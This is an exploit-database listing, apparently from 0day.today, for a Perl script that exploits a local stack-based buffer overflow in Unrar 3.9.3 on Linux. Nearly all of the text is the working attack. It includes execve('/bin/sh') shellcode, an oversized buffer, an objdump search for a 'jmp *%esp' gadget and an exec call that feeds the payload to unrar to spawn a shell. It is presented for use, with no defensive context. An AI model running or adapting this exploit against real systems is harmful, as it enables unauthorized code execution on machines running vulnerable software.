[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Unrar 3.9.3 Local Stack Overflow Exploit

Author
ZadYree
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16606
Category
local exploits
Date add
05-08-2011
Platform
linux
#!/usr/bin/perl
=head1  TITLE
 
Winrar <= v3.93 Local Stack-based Overflow exploit
 
 
=head2 DESCRIPTION
 
This script triggers a buffer overflow attack against Unrar, the linux popular version of WinRar extractor.
It was not developped to bypass non-executing stack patches.
Have phun
 
=head2 AUTHORS
 
ZadYree ~~ 3LRVS Team - Low Level Languages Reversing Vxing Security
 
 
=head2 Tested ON
 
Linux Debian 6. May work on FreeBSD.
 
=head3 THANKS
 
kmkz
regol
hellpast
Hebiko
m_101
ZadYree
 
SNCF
The one who sent me that locked .rar
=cut
use 5.010;
 
# Shellcode: execve("/bin/sh") => http://www.shell-storm.org/shellcode/files/shellcode-752.php
use constant SHELLCODE =>    "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" .
                "\x73\x68\x68\x2f\x62\x69\x6e\x89" .
                "\xe3\xb0\x0b\xcd\x80";
use constant BUFF => ('-' . ('3lrvs' x 820));
##
 
 
$pname = "/usr/bin/unrar";
 
die "[-]File $pname does not exist!\012" unless (-e $pname);
 
say "[*]Looking for jmp *%esp gadget...";
 
for my $line(qx{objdump -D $pname | grep "ff e4"}) {
    $esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}
 
say '[+]Jump to $esp found! (0x', $esp, ")\012[+]Now exploiting...";
sleep(1);
 
my @payload = ($pname, (BUFF . pack("V", hex($esp)) . SHELLCODE . "\012"));
 
exec(@payload);



#  0day.today [2024-10-05]  #